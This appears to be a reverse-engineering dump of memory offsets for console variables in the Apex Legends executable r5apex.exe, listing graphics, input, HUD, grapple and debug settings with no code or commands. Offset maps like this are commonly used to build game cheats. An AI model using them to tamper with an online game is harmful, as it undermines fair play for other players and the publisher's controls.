+r5apex.exe!0x01e5da80 ConVar gamepad_button_layout +r5apex.exe!0x01e5d750 ConVar gamepad_buttons_are_southpaw +r5apex.exe!0x018a9d90 ConVar gamepad_custom_ads_pitch +r5apex.exe!0x018a3570 ConVar gamepad_custom_ads_turn_delay +r5apex.exe!0x01895eb0 ConVar gamepad_custom_ads_turn_pitch +r5apex.exe!0x01c2f220 ConVar gamepad_custom_ads_turn_time +r5apex.exe!0x0189d540 ConVar gamepad_custom_ads_turn_yaw +r5apex.exe!0x01c2e3d0 ConVar gamepad_custom_ads_yaw +r5apex.exe!0x0189c770 ConVar gamepad_custom_assist_on +r5apex.exe!0x018a8aa0 ConVar gamepad_custom_curve +r5apex.exe!0x018a8da0 ConVar gamepad_custom_deadzone_in +r5apex.exe!0x018959a0 ConVar gamepad_custom_deadzone_out +r5apex.exe!0x018a61e0 ConVar gamepad_custom_enabled +r5apex.exe!0x0189ff30 ConVar gamepad_custom_hip_pitch +r5apex.exe!0x01c2d6e0 ConVar gamepad_custom_hip_turn_delay +r5apex.exe!0x01c2ec00 ConVar gamepad_custom_hip_turn_pitch +r5apex.exe!0x01c2e6f0 ConVar gamepad_custom_hip_turn_time +r5apex.exe!0x018a9180 ConVar gamepad_custom_hip_turn_yaw +r5apex.exe!0x018a68d0 ConVar gamepad_custom_hip_yaw +r5apex.exe!0x01e5c820 ConVar gamepad_custom_pilot +r5apex.exe!0x01e5c380 ConVar gamepad_custom_titan +r5apex.exe!0x018a6140 ConVar gamepad_deadzone_index_look +r5apex.exe!0x018a1000 ConVar gamepad_deadzone_index_move +r5apex.exe!0x01c4c9b0 ConVar gamepad_enabled +r5apex.exe!0x018a9bb0 ConVar gamepad_look_curve +r5apex.exe!0x01e5e330 ConVar gamepad_stick_layout +r5apex.exe!0x01c39250 ConVar gamepad_toggle_ads +r5apex.exe!0x01c43d80 ConVar gamepad_togglecrouch_hold +r5apex.exe!0x012d8400 ConVar gamepad_trigger_threshold +r5apex.exe!0x018a9a70 ConVar gamepad_use_per_scope_ads_settings +r5apex.exe!0x018a6b30 ConVar gamepad_use_per_scope_sensitivity_scalars +r5apex.exe!0x01e5edc0 ConVar gamepad_use_type +r5apex.exe!0x01199250 ConVar gameui_xbox +r5apex.exe!0x01e5e090 ConVar gamma_adjusted +r5apex.exe!0x0189e4d0 ConVar gatherprops_no_wait +r5apex.exe!0x012e46c0 ConVar gfx_desaturate_force +r5apex.exe!0x012e8a00 ConVar gfx_nvnUseLowLatency +r5apex.exe!0x012e8960 ConVar gfx_nvnUseLowLatencyBoost +r5apex.exe!0x01e59860 ConVar gl_clear_color_buffer +r5apex.exe!0x01e58a60 ConVar gl_clear_fogcolor +r5apex.exe!0x01e58ce0 ConVar gl_clear_randomcolor +r5apex.exe!0x018a3ad0 ConVar glass_break_required_speed +r5apex.exe!0x01c4b670 ConVar glass_shatter_direction_force_scale +r5apex.exe!0x01c3fb60 ConVar glass_shatter_force_scale +r5apex.exe!0x01c45240 ConVar glass_shatter_size_scale +r5apex.exe!0x01c3e900 ConVar glass_shatter_use_real_direction +r5apex.exe!0x012e4620 ConVar glitch_aberrationScale +r5apex.exe!0x018826c0 ConVar global_lighting_partial_update +r5apex.exe!0x01e90e60 ConVar gpu_count +r5apex.exe!0x012e6460 ConVar gpu_driven_tex_stream +r5apex.exe!0x012e69a0 ConVar gpu_driven_tex_stream_single_thread +r5apex.exe!0x012e1f50 ConVar gpu_level +r5apex.exe!0x01c37a70 ConVar gpu_level +r5apex.exe!0x012d8a50 ConVar gpu_mem_level +r5apex.exe!0x01895df0 ConVar gpu_mem_level +r5apex.exe!0x012e1c30 ConVar gpu_vram_size_mb +r5apex.exe!0x01c8efb0 ConVar grapple_accel_human +r5apex.exe!0x01c8bbb0 ConVar grapple_accel_titan +r5apex.exe!0x01c8e730 ConVar grapple_around_obstacle_accel +r5apex.exe!0x01c8d200 ConVar grapple_autoMantle +r5apex.exe!0x01c904f0 ConVar grapple_autoMeleeConvergeTime +r5apex.exe!0x01c5c7a0 ConVar grapple_autoMeleeOnDetach +r5apex.exe!0x01c91010 ConVar grapple_autoMeleePredict +r5apex.exe!0x01c92ea0 ConVar grapple_autoMeleePredictTime +r5apex.exe!0x01c92e00 ConVar grapple_autoMeleeViewRotateSpeedFar +r5apex.exe!0x01c92d60 ConVar grapple_autoMeleeViewRotateSpeedNear +r5apex.exe!0x01c8ee40 ConVar grapple_debug +r5apex.exe!0x01c57590 ConVar grapple_decelMeleeStrength +r5apex.exe!0x01c87ff0 ConVar grapple_decel_human +r5apex.exe!0x01c59f30 ConVar grapple_decel_titan +r5apex.exe!0x01c5aa50 ConVar grapple_detachExtraAllowedLength +r5apex.exe!0x01c5b790 ConVar grapple_disableMeleeWhenActive +r5apex.exe!0x01c87660 ConVar grapple_dontFightGravity +r5apex.exe!0x01c88980 ConVar grapple_fallSpeed +r5apex.exe!0x01c8e070 ConVar grapple_forcedRetractVel +r5apex.exe!0x01c5c390 ConVar grapple_gracePeriod +r5apex.exe!0x01c5b9a0 ConVar grapple_gravityPushUnderContribution +r5apex.exe!0x01c8c950 ConVar grapple_initialImpulseOffGround_human +r5apex.exe!0x01c90010 ConVar grapple_initialImpulseOffGround_human_npc +r5apex.exe!0x01c759c0 ConVar grapple_initialImpulseOffGround_titan +r5apex.exe!0x01c8bf10 ConVar grapple_initialImpulse_human +r5apex.exe!0x01c5b1f0 ConVar grapple_initialImpulse_titan +r5apex.exe!0x01c5b860 ConVar grapple_initialSlowFracVert_human +r5apex.exe!0x01c75da0 ConVar grapple_initialSlowFracVert_titan +r5apex.exe!0x01c88360 ConVar grapple_initialSlowFrac_human +r5apex.exe!0x01c88090 ConVar grapple_initialSlowFrac_titan +r5apex.exe!0x01c8d2d0 ConVar grapple_initialSpeedMin_human +r5apex.exe!0x01c90590 ConVar grapple_initialSpeedMin_titan +r5apex.exe!0x01c877a0 ConVar grapple_jumpFrac +r5apex.exe!0x01c87a20 ConVar grapple_letGravityHelpCosAngle +r5apex.exe!0x01c87ac0 ConVar grapple_lift +r5apex.exe!0x01c91cc0 ConVar grapple_pullDelay_human +r5apex.exe!0x01c91c20 ConVar grapple_pullDelay_titan +r5apex.exe!0x01c90840 ConVar grapple_retractVel +r5apex.exe!0x01c8fd60 ConVar grapple_rodeoVerticalImpulse +r5apex.exe!0x01c92f40 ConVar grapple_shootVel +r5apex.exe!0x01c878e0 ConVar grapple_speedRampMax_human +r5apex.exe!0x01c90d90 ConVar grapple_speedRampMax_titan +r5apex.exe!0x01c5b150 ConVar grapple_speedRampMin_human +r5apex.exe!0x01c88400 ConVar grapple_speedRampMin_titan +r5apex.exe!0x01c8be70 ConVar grapple_speedRampTime_human +r5apex.exe!0x01c8b010 ConVar grapple_speedRampTime_titan +r5apex.exe!0x01c87840 ConVar grapple_swingAngle +r5apex.exe!0x01c5bc20 ConVar grapple_swingPullAngle +r5apex.exe!0x01c5b650 ConVar grapple_swingPullSpeedLength +r5apex.exe!0x01c579f0 ConVar grapple_swingPullSpeedScale +r5apex.exe!0x01c8e690 ConVar grapple_titanEmbarkDist +r5apex.exe!0x01c87980 ConVar grapple_windowCheckDist +r5apex.exe!0x01c9b910 ConVar gravity_grenade_decel +r5apex.exe!0x01c97840 ConVar gravity_grenade_projectile_min_speed +r5apex.exe!0x01c57810 ConVar ground_debug +r5apex.exe!0x01c930f0 ConVar ground_trace_hull_radius +r5apex.exe!0x0119ee10 ConVar grx_hasUnknownItems +r5apex.exe!0x012e7b00 ConVar gtao_angle_bias +r5apex.exe!0x012e7380 ConVar gtao_intensity +r5apex.exe!0x012e7d80 ConVar gtao_intensity_in_lobby +r5apex.exe!0x012e7e20 ConVar gtao_thickness_heuristic +r5apex.exe!0x01297480 ConVar hasAnyAssetsWithDiscardedStreamableData +r5apex.exe!0x01297e80 ConVar hasMic +r5apex.exe!0x012973e0 ConVar hasPartialInstall +r5apex.exe!0x012e7ba0 ConVar hbao_angle_bias +r5apex.exe!0x012e76a0 ConVar hbao_intensity +r5apex.exe!0x012e7880 ConVar hbao_stepsize_random +r5apex.exe!0x012e7560 ConVar hbaobasic_tangent_bias +r5apex.exe!0x01c4a570 ConVar hidehud +r5apex.exe!0x018a38f0 ConVar highlight_deferred_update +r5apex.exe!0x012e6a40 ConVar highlight_draw +r5apex.exe!0x012e6c00 ConVar highlight_lazy_clear_buffers +r5apex.exe!0x012e6b60 ConVar highlight_object_max_count +r5apex.exe!0x01e89770 ConVar hitbox_bodygroup_check +r5apex.exe!0x01c52130 ConVar hitch_alert_active +r5apex.exe!0x01c519d0 ConVar hitch_alert_color +r5apex.exe!0x01c4fb20 ConVar hitch_alert_show_large_snapshots +r5apex.exe!0x012cd3d0 ConVar host_RunFrameServerAlways +r5apex.exe!0x012cce30 ConVar host_ShowIPCCallCount +r5apex.exe!0x01299e20 ConVar host_flush_threshold +r5apex.exe!0x012cc8b0 ConVar host_forceTakeHomeBuild +r5apex.exe!0x012cd810 ConVar host_framerate +r5apex.exe!0x01196bd0 ConVar host_hasIrreversibleShutdown +r5apex.exe!0x012cd770 ConVar host_limitlocal +r5apex.exe!0x0118f760 ConVar host_map +r5apex.exe!0x012cd510 ConVar host_print_frame_times +r5apex.exe!0x012cc370 ConVar host_profile +r5apex.exe!0x012cccf0 ConVar host_runframe_input_parcelremainder +r5apex.exe!0x012cc950 ConVar host_server_thread_min_ticks +r5apex.exe!0x012cba70 ConVar host_sleep +r5apex.exe!0x012cbdb0 ConVar host_speeds +r5apex.exe!0x01260d20 ConVar host_syncfps +r5apex.exe!0x012cc130 ConVar host_thread_join_fast +r5apex.exe!0x012cd330 ConVar host_thread_mode +r5apex.exe!0x012cbf70 ConVar host_threaded_sound +r5apex.exe!0x012cd950 ConVar host_timescale +r5apex.exe!0x01192da0 ConVar hostname +r5apex.exe!0x01e6ece0 ConVar hover_vehicle_passenger_left_attachment_name +r5apex.exe!0x012ce190 ConVar http_StryderKey +r5apex.exe!0x012cdb50 ConVar http_debug +r5apex.exe!0x012ce050 ConVar http_debug_forceFailRate +r5apex.exe!0x012cddd0 ConVar http_debug_forceFailStatus +r5apex.exe!0x012cdfb0 ConVar http_expoBackoff_Enabled +r5apex.exe!0x012cdbf0 ConVar http_failuresAsErrors +r5apex.exe!0x012cdf10 ConVar http_maxAllocateAttempts +r5apex.exe!0x012ce4b0 ConVar http_recv_fail_realloc +r5apex.exe!0x012cde70 ConVar http_sandbox +r5apex.exe!0x012cdd30 ConVar http_showQueries +r5apex.exe!0x01e879c0 ConVar hud_autoreloadscript +r5apex.exe!0x01c53f10 ConVar hud_setting_accessibleChat +r5apex.exe!0x01c4f7a0 ConVar hud_setting_adsDof +r5apex.exe!0x01299260 ConVar hud_setting_anonymousMode +r5apex.exe!0x01e719e0 ConVar hud_setting_compactOverHeadNames +r5apex.exe!0x01c54af0 ConVar hud_setting_damageIndicatorStyle +r5apex.exe!0x01c51590 ConVar hud_setting_damageTextStyle +r5apex.exe!0x01c4e8b0 ConVar hud_setting_enableModWheel +r5apex.exe!0x01e5cb60 ConVar hud_setting_healthUseOnHold +r5apex.exe!0x01e5ce80 ConVar hud_setting_healthWheelToggle +r5apex.exe!0x01e5d0a0 ConVar hud_setting_healthWheelUseOnRelease +r5apex.exe!0x01c50f70 ConVar hud_setting_lootPromptStyle +r5apex.exe!0x01c51270 ConVar hud_setting_minimapRotate +r5apex.exe!0x01e5c700 ConVar hud_setting_ordnanceUseOnHold +r5apex.exe!0x01e5e490 ConVar hud_setting_ordnanceWheelToggle +r5apex.exe!0x01e5c8c0 ConVar hud_setting_ordnanceWheelUseOnRelease +r5apex.exe!0x01c549d0 ConVar hud_setting_pingAlpha +r5apex.exe!0x01c51cf0 ConVar hud_setting_pingDoubleTapEnemy +r5apex.exe!0x01e5d1e0 ConVar hud_setting_pingWheelToggle +r5apex.exe!0x01c4ec50 ConVar hud_setting_showButtonHints +r5apex.exe!0x01c54530 ConVar hud_setting_showCallsigns +r5apex.exe!0x01c4f5b0 ConVar hud_setting_showHopUpPopUp +r5apex.exe!0x01c53720 ConVar hud_setting_showLevelUp +r5apex.exe!0x01c52690 ConVar hud_setting_showMedals +r5apex.exe!0x01c55790 ConVar hud_setting_showMeter +r5apex.exe!0x01c527d0 ConVar hud_setting_showObituary +r5apex.exe!0x01c4fd50 ConVar hud_setting_showTips +r5apex.exe!0x01c55350 ConVar hud_setting_showWeaponFlyouts +r5apex.exe!0x01c553f0 ConVar hud_setting_streamerMode +r5apex.exe!0x01c3dcf0 ConVar hudchat_new_message_fade_duration +r5apex.exe!0x01c45380 ConVar hudchat_new_message_shown_duration +r5apex.exe!0x01c3ea40 ConVar hudchat_play_text_to_speech +r5apex.exe!0x01c3db30 ConVar hudchat_transition_message_mode_fade_duration +r5apex.exe!0x01c3cc50 ConVar hudchat_visibility +r5apex.exe!0x01e8ec00 ConVar hudwarp_chopsize +r5apex.exe!0x01e8e8e0 ConVar hudwarp_override +r5apex.exe!0x01e8e7a0 ConVar hudwarp_viewDist +r5apex.exe!0x01e8eb60 ConVar hudwarp_xScale +r5apex.exe!0x01e8d8c0 ConVar hudwarp_xWarp +r5apex.exe!0x01e8d960 ConVar hudwarp_yScale +r5apex.exe!0x01e8e840 ConVar hudwarp_yWarp +r5apex.exe!0x01c4f6f0 ConVar idcolor_ally +r5apex.exe!0x01c55a10 ConVar idcolor_ally_cb1 +r5apex.exe!0x01c537f0 ConVar idcolor_ally_cb2 +r5apex.exe!0x01c53d30 ConVar idcolor_ally_cb3 +r5apex.exe!0x01c56400 ConVar idcolor_enemy +r5apex.exe!0x01c52e90 ConVar idcolor_enemy_cb1 +r5apex.exe!0x01c52930 ConVar idcolor_enemy_cb2 +r5apex.exe!0x01c4e950 ConVar idcolor_enemy_cb3 +r5apex.exe!0x01c4f9e0 ConVar idcolor_neutral +r5apex.exe!0x0119cd80 ConVar ignore_fatal_errors +r5apex.exe!0x01e5a1a0 ConVar ignore_script_errors +r5apex.exe!0x01c93050 ConVar ik_debug +r5apex.exe!0x01c569a0 ConVar ik_debug_chain +r5apex.exe!0x01c8d3a0 ConVar ik_debug_ent +r5apex.exe!0x01c91330 ConVar ik_debug_text +r5apex.exe!0x01c5a870 ConVar ik_enable +r5apex.exe!0x01c875c0 ConVar ik_enable_client +r5apex.exe!0x01c8e990 ConVar ik_height_adjust +r5apex.exe!0x01c5acd0 ConVar ik_height_adjust_debug +r5apex.exe!0x01c59730 ConVar ik_height_adjust_move_speed +r5apex.exe!0x01c57450 ConVar ik_height_adjust_sine +r5apex.exe!0x01c8ff70 ConVar ik_height_adjust_speed +r5apex.exe!0x01c8aba0 ConVar ik_latch +r5apex.exe!0x01c75c80 ConVar ik_normal_lerp_rate +r5apex.exe!0x01c89910 ConVar ik_unlatch_max_rate +r5apex.exe!0x012d6700 ConVar ime_enabled +r5apex.exe!0x01e8bd40 ConVar imgui_buildmode +r5apex.exe!0x01e8c0a0 ConVar imgui_buildmode +r5apex.exe!0x01c48710 ConVar impact_allow +r5apex.exe!0x01c52870 ConVar impact_debug_info +r5apex.exe!0x01c4a4d0 ConVar impact_victim_offset_dist +r5apex.exe!0x01ca05d0 ConVar impulse_low_decel_duration_scalar +r5apex.exe!0x01297fc0 ConVar inPartyChat +r5apex.exe!0x01194c00 ConVar in_forceuser +r5apex.exe!0x0119c200 ConVar in_syncRT +r5apex.exe!0x01c38d90 ConVar in_usekeyboardsampletime +r5apex.exe!0x0129d830 ConVar inbox_enabled +r5apex.exe!0x0129d510 ConVar infoblock_requestInterval +r5apex.exe!0x01c4b010 ConVar input_did_turn_threshold +r5apex.exe!0x01e5d000 ConVar intro_viewed +r5apex.exe!0x01195a80 ConVar ip +r5apex.exe!0x01c49210 ConVar joy_advaxisr +r5apex.exe!0x01c39d10 ConVar joy_advaxisu +r5apex.exe!0x01c4b890 ConVar joy_advaxisv +r5apex.exe!0x01c441c0 ConVar joy_advaxisx +r5apex.exe!0x01c46990 ConVar joy_advaxisy +r5apex.exe!0x01c43e20 ConVar joy_advaxisz +r5apex.exe!0x01c4af70 ConVar joy_inverty +r5apex.exe!0x01c4ca50 ConVar joy_legacy +r5apex.exe!0x01c3ed40 ConVar joy_movement_stick +r5apex.exe!0x01c38fb0 ConVar joy_requireFocus +r5apex.exe!0x01c474b0 ConVar joy_rumble +r5apex.exe!0x01c48f20 ConVar joy_xcontroller_cfg_loaded +r5apex.exe!0x01260350 ConVar jpeg_quality +r5apex.exe!0x018854e0 ConVar jt_help_with_anything_ignore_preference +r5apex.exe!0x01c8ef10 ConVar jump_graceperiod +r5apex.exe!0x01c8c0b0 ConVar jump_keyboardgrace_max +r5apex.exe!0x01c75380 ConVar jump_keyboardgrace_strength +r5apex.exe!0x01c5b900 ConVar jump_keyboardgraceperiodmax +r5apex.exe!0x01c8c500 ConVar jump_keyboardgraceperiodmin +r5apex.exe!0x01298fe0 ConVar killReplay_lagCompensate +r5apex.exe!0x01e73f60 ConVar killReplay_playNonReplayRemoteCallsOnLocalClientPlayer +r5apex.exe!0x018a92f0 ConVar leaf_threadedRecompute +r5apex.exe!0x018a5fc0 ConVar leaf_threadedRecompute_batchSize +r5apex.exe!0x01e76b00 ConVar leech_npc_angle_cos +r5apex.exe!0x01e85f60 ConVar lerp_careAboutAttachmentBonePosition +r5apex.exe!0x01c57630 ConVar lerp_debugEnt +r5apex.exe!0x01e869a0 ConVar lerp_opt +r5apex.exe!0x01e84c60 ConVar lerp_threaded +r5apex.exe!0x01e85ec0 ConVar lerp_threaded_numEntsPerTask +r5apex.exe!0x011903d0 ConVar light_maxcone +r5apex.exe!0x012de3f0 ConVar lightmap_realtimelight +r5apex.exe!0x012e19d0 ConVar lightmap_realtimeshadows +r5apex.exe!0x012ccd90 ConVar load_during_video +r5apex.exe!0x01e70480 ConVar loaderrorsCount +r5apex.exe!0x01e6fd60 ConVar loaderrorsNeedShown +r5apex.exe!0x01e70980 ConVar localClientPlayerCachedLevel +r5apex.exe!0x01261be0 ConVar locationInfo +r5apex.exe!0x01261b40 ConVar locationInfo_nucleus +r5apex.exe!0x01c3cd90 ConVar locator_background_border_color +r5apex.exe!0x01c38c70 ConVar locator_background_border_thickness +r5apex.exe!0x01c3f5e0 ConVar locator_background_color +r5apex.exe!0x01c3f820 ConVar locator_background_shift_x +r5apex.exe!0x01c40650 ConVar locator_background_shift_y +r5apex.exe!0x01c43f60 ConVar locator_background_style +r5apex.exe!0x01c40530 ConVar locator_background_thickness_x +r5apex.exe!0x01c39930 ConVar locator_background_thickness_y +r5apex.exe!0x01c3e0b0 ConVar locator_fade_time +r5apex.exe!0x01c4ae50 ConVar locator_icon_max_size_non_ss +r5apex.exe!0x01c447c0 ConVar locator_icon_min_size_non_ss +r5apex.exe!0x01c3e270 ConVar locator_lerp_rest +r5apex.exe!0x01c40ef0 ConVar locator_lerp_speed +r5apex.exe!0x01c42fd0 ConVar locator_lerp_time +r5apex.exe!0x01c47090 ConVar locator_pulse_time +r5apex.exe!0x01c39370 ConVar locator_split_len +r5apex.exe!0x01c41150 ConVar locator_split_maxwide_percent +r5apex.exe!0x01c46a30 ConVar locator_start_at_crosshair +r5apex.exe!0x01c44f60 ConVar locator_target_offset_x +r5apex.exe!0x01c3c460 ConVar locator_target_offset_y +r5apex.exe!0x01c49710 ConVar locator_topdown_style +r5apex.exe!0x01c45530 ConVar lookspring +r5apex.exe!0x01c49e70 ConVar lookstrafe +r5apex.exe!0x01c3fc80 ConVar m_acceleration +r5apex.exe!0x01c49d50 ConVar m_forward +r5apex.exe!0x01c3e9a0 ConVar m_invert_pitch +r5apex.exe!0x01c44120 ConVar m_side +r5apex.exe!0x01e70080 ConVar mainmenu_background_movie +r5apex.exe!0x01c49140 ConVar map_settings_override +r5apex.exe!0x01c4f0b0 ConVar mat_autoexposure_compensation +r5apex.exe!0x01882940 ConVar mat_autoexposure_force_value +r5apex.exe!0x01c53fb0 ConVar mat_autoexposure_max +r5apex.exe!0x01c51d90 ConVar mat_autoexposure_max_multiplier +r5apex.exe!0x01c55510 ConVar mat_autoexposure_min +r5apex.exe!0x01c52550 ConVar mat_autoexposure_min_multiplier +r5apex.exe!0x01c507c0 ConVar mat_autoexposure_speed +r5apex.exe!0x01c560c0 ConVar mat_autoexposure_uncap +r5apex.exe!0x01c550f0 ConVar mat_bloom_cutoff +r5apex.exe!0x01882a80 ConVar mat_bloom_max_lighting_value +r5apex.exe!0x01c4f8c0 ConVar mat_bloom_scalefactor_scalar +r5apex.exe!0x012e34a0 ConVar mat_bloom_streak_amount +r5apex.exe!0x01c530f0 ConVar mat_bloom_streak_cutoff +r5apex.exe!0x01c52730 ConVar mat_bloom_streak_cutoff_exposure_adapt +r5apex.exe!0x012e44e0 ConVar mat_bloom_streak_exponent_post +r5apex.exe!0x01c51ff0 ConVar mat_bloom_streak_exponent_pre +r5apex.exe!0x012e3fe0 ConVar mat_bloom_wide_amount +r5apex.exe!0x01c52fb0 ConVar mat_bloom_wide_exponent_pre +r5apex.exe!0x01c54cf0 ConVar mat_bloomamount_rate +r5apex.exe!0x01c565e0 ConVar mat_bloomscale +r5apex.exe!0x012e8e00 ConVar mat_checkStalls +r5apex.exe!0x012de6f0 ConVar mat_cloudmask +r5apex.exe!0x0118d890 ConVar mat_colcorrection_disableentities +r5apex.exe!0x012986a0 ConVar mat_colcorrection_disableentities +r5apex.exe!0x01c2d460 ConVar mat_colcorrection_disableentities +r5apex.exe!0x0118c1d0 ConVar mat_colcorrection_editor +r5apex.exe!0x018a2cd0 ConVar mat_colcorrection_editor +r5apex.exe!0x018a32f0 ConVar mat_colcorrection_forceentitiesclientside +r5apex.exe!0x0118c8e0 ConVar mat_colorcorrection +r5apex.exe!0x012e4580 ConVar mat_debug_postprocess_allowed +r5apex.exe!0x01c53510 ConVar mat_debug_postprocessing_effects +r5apex.exe!0x012e4300 ConVar mat_debug_tonemapping +r5apex.exe!0x012e3e00 ConVar mat_debug_tonemapping_disable +r5apex.exe!0x012e3cc0 ConVar mat_debug_tonemapping_mid1 +r5apex.exe!0x012e39a0 ConVar mat_debug_tonemapping_mid2 +r5apex.exe!0x012e3b80 ConVar mat_debug_tonemapping_shoulder +r5apex.exe!0x012e3ae0 ConVar mat_debug_tonemapping_toe +r5apex.exe!0x012e1cd0 ConVar mat_debugalttab +r5apex.exe!0x018833d0 ConVar mat_depthbias_decal +r5apex.exe!0x018835b0 ConVar mat_depthbias_normal +r5apex.exe!0x01883290 ConVar mat_depthbias_shadowmap +r5apex.exe!0x01883470 ConVar mat_depthbias_tightshadowmap +r5apex.exe!0x01882f70 ConVar mat_depthbias_ui +r5apex.exe!0x01883510 ConVar mat_depthbias_zfill +r5apex.exe!0x01882e30 ConVar mat_depthbiasclamp_decal +r5apex.exe!0x01883830 ConVar mat_depthbiasclamp_normal +r5apex.exe!0x01883010 ConVar mat_depthbiasclamp_shadowmap +r5apex.exe!0x018831f0 ConVar mat_depthbiasclamp_ui +r5apex.exe!0x01883150 ConVar mat_depthbiasclamp_zfill +r5apex.exe!0x01882ed0 ConVar mat_depthtest_force_disabled +r5apex.exe!0x012e17f0 ConVar mat_detail_tex +r5apex.exe!0x012d8870 ConVar mat_diffuse +r5apex.exe!0x01c52cd0 ConVar mat_disable_bloom +r5apex.exe!0x018828a0 ConVar mat_disable_lightmap_ambient +r5apex.exe!0x012e0a30 ConVar mat_disable_lightmaps +r5apex.exe!0x012dbe70 ConVar mat_disable_model_ambient +r5apex.exe!0x0119a440 ConVar mat_drawMenuGrid +r5apex.exe!0x0119cba0 ConVar mat_drawTitleSafe +r5apex.exe!0x012d8af0 ConVar mat_drawflat +r5apex.exe!0x012de650 ConVar mat_dxlevel +r5apex.exe!0x0118c270 ConVar mat_dynamic_tonemapping +r5apex.exe!0x012e2090 ConVar mat_dynamic_tonemapping +r5apex.exe!0x012e4760 ConVar mat_enable_ssr +r5apex.exe!0x01882b20 ConVar mat_envmap_scale +r5apex.exe!0x0118b290 ConVar mat_envmaptgasize +r5apex.exe!0x012e1250 ConVar mat_fastnobump +r5apex.exe!0x01196040 ConVar mat_fastspecular +r5apex.exe!0x012e16b0 ConVar mat_filterlightmaps +r5apex.exe!0x012dbcb0 ConVar mat_filtertextures +r5apex.exe!0x01c4fc10 ConVar mat_force_bloom +r5apex.exe!0x012e11b0 ConVar mat_forceaniso +r5apex.exe!0x01c503d0 ConVar mat_frame_color_bias +r5apex.exe!0x01c51930 ConVar mat_frame_color_enabled +r5apex.exe!0x01c56200 ConVar mat_frame_color_scale +r5apex.exe!0x01c50a00 ConVar mat_frame_color_spot_metering_screen_ratio +r5apex.exe!0x011946b0 ConVar mat_fullbright +r5apex.exe!0x012e4120 ConVar mat_fxaa_enable +r5apex.exe!0x012d87d0 ConVar mat_global_lighting +r5apex.exe!0x012e9100 ConVar mat_global_lighting +r5apex.exe!0x01ca41e0 ConVar mat_global_lighting +r5apex.exe!0x01193e10 ConVar mat_hdr_level +r5apex.exe!0x01298740 ConVar mat_hdrcolcorrection_editor +r5apex.exe!0x012d8690 ConVar mat_hdrcolorcorrection +r5apex.exe!0x012e9250 ConVar mat_hide_sun_in_last_cascade +r5apex.exe!0x012e91b0 ConVar mat_instancing +r5apex.exe!0x012e8d60 ConVar mat_letterbox_aspect_goal +r5apex.exe!0x012e8aa0 ConVar mat_letterbox_aspect_threshold +r5apex.exe!0x01ca4500 ConVar mat_lightcull_subview +r5apex.exe!0x01e587e0 ConVar mat_lightcull_subviews +r5apex.exe!0x012e43a0 ConVar mat_local_contrast_edge_scale_override +r5apex.exe!0x012e3720 ConVar mat_local_contrast_midtone_mask_override +r5apex.exe!0x012e35e0 ConVar mat_local_contrast_scale_override +r5apex.exe!0x012e37c0 ConVar mat_local_contrast_vignette_end_override +r5apex.exe!0x012e3860 ConVar mat_local_contrast_vignette_start_override +r5apex.exe!0x012e3060 ConVar mat_materialmip_character_0 +r5apex.exe!0x012e23b0 ConVar mat_materialmip_character_1 +r5apex.exe!0x012e2770 ConVar mat_materialmip_character_2 +r5apex.exe!0x012e2b30 ConVar mat_materialmip_character_3 +r5apex.exe!0x012e2a90 ConVar mat_materialmip_character_4 +r5apex.exe!0x012e2de0 ConVar mat_materialmip_cockpit_0 +r5apex.exe!0x012e2590 ConVar mat_materialmip_cockpit_1 +r5apex.exe!0x012e21d0 ConVar mat_materialmip_cockpit_2 +r5apex.exe!0x012e2310 ConVar mat_materialmip_cockpit_3 +r5apex.exe!0x012e2f20 ConVar mat_materialmip_cockpit_4 +r5apex.exe!0x012e2270 ConVar mat_materialmip_model_0 +r5apex.exe!0x012e28b0 ConVar mat_materialmip_model_1 +r5apex.exe!0x012e2fc0 ConVar mat_materialmip_model_2 +r5apex.exe!0x012e32c0 ConVar mat_materialmip_model_3 +r5apex.exe!0x012e29f0 ConVar mat_materialmip_model_4 +r5apex.exe!0x012e2e80 ConVar mat_materialmip_other_0 +r5apex.exe!0x012e26d0 ConVar mat_materialmip_other_1 +r5apex.exe!0x012e3360 ConVar mat_materialmip_other_2 +r5apex.exe!0x012e2450 ConVar mat_materialmip_other_3 +r5apex.exe!0x012e31a0 ConVar mat_materialmip_other_4 +r5apex.exe!0x012e2950 ConVar mat_materialmip_world_0 +r5apex.exe!0x012e2130 ConVar mat_materialmip_world_1 +r5apex.exe!0x012e24f0 ConVar mat_materialmip_world_2 +r5apex.exe!0x012e3100 ConVar mat_materialmip_world_3 +r5apex.exe!0x012e2630 ConVar mat_materialmip_world_4 +r5apex.exe!0x011913b0 ConVar mat_maxframelatency +r5apex.exe!0x012de510 ConVar mat_mip_linear +r5apex.exe!0x012de790 ConVar mat_mipmaptextures +r5apex.exe!0x0118f1c0 ConVar mat_norendering +r5apex.exe!0x012d8910 ConVar mat_norendering +r5apex.exe!0x012e0d50 ConVar mat_phong +r5apex.exe!0x012dbf10 ConVar mat_picmip +r5apex.exe!0x012e4080 ConVar mat_postprocess_enable +r5apex.exe!0x01c54170 ConVar mat_postprocess_enable +r5apex.exe!0x012e1430 ConVar mat_proxy +r5apex.exe!0x012e14d0 ConVar mat_reducefillrate +r5apex.exe!0x012e1ff0 ConVar mat_report_queue_status +r5apex.exe!0x012e08f0 ConVar mat_reversedepth +r5apex.exe!0x01c50330 ConVar mat_screen_blur_enabled +r5apex.exe!0x012e3a40 ConVar mat_screen_blur_override +r5apex.exe!0x01190f50 ConVar mat_shadowstate +r5apex.exe!0x012e3400 ConVar mat_sharpen_amount +r5apex.exe!0x012e3f40 ConVar mat_sharpen_threshold +r5apex.exe!0x012e4260 ConVar mat_sharpen_width +r5apex.exe!0x01296b90 ConVar mat_show_texture_memory_usage +r5apex.exe!0x012e4a90 ConVar mat_showenvmapmask +r5apex.exe!0x012d8730 ConVar mat_showlowresimage +r5apex.exe!0x012e0cb0 ConVar mat_showmiplevels +r5apex.exe!0x011933e0 ConVar mat_skipid +r5apex.exe!0x01195d40 ConVar mat_sky_color +r5apex.exe!0x011930c0 ConVar mat_sky_scale +r5apex.exe!0x01883790 ConVar mat_slopescaledepthbias_decal +r5apex.exe!0x018830b0 ConVar mat_slopescaledepthbias_normal +r5apex.exe!0x018836f0 ConVar mat_slopescaledepthbias_shadowmap +r5apex.exe!0x01883330 ConVar mat_slopescaledepthbias_ui +r5apex.exe!0x01883650 ConVar mat_slopescaledepthbias_zfill +r5apex.exe!0x01195bc0 ConVar mat_sun_color +r5apex.exe!0x01191b30 ConVar mat_sun_scale +r5apex.exe!0x01193820 ConVar mat_surfacefilter +r5apex.exe!0x01192b20 ConVar mat_surfaceid +r5apex.exe!0x01196180 ConVar mat_surfacemat +r5apex.exe!0x012e8fc0 ConVar mat_syncGPU +r5apex.exe!0x012e8f20 ConVar mat_syncInterval 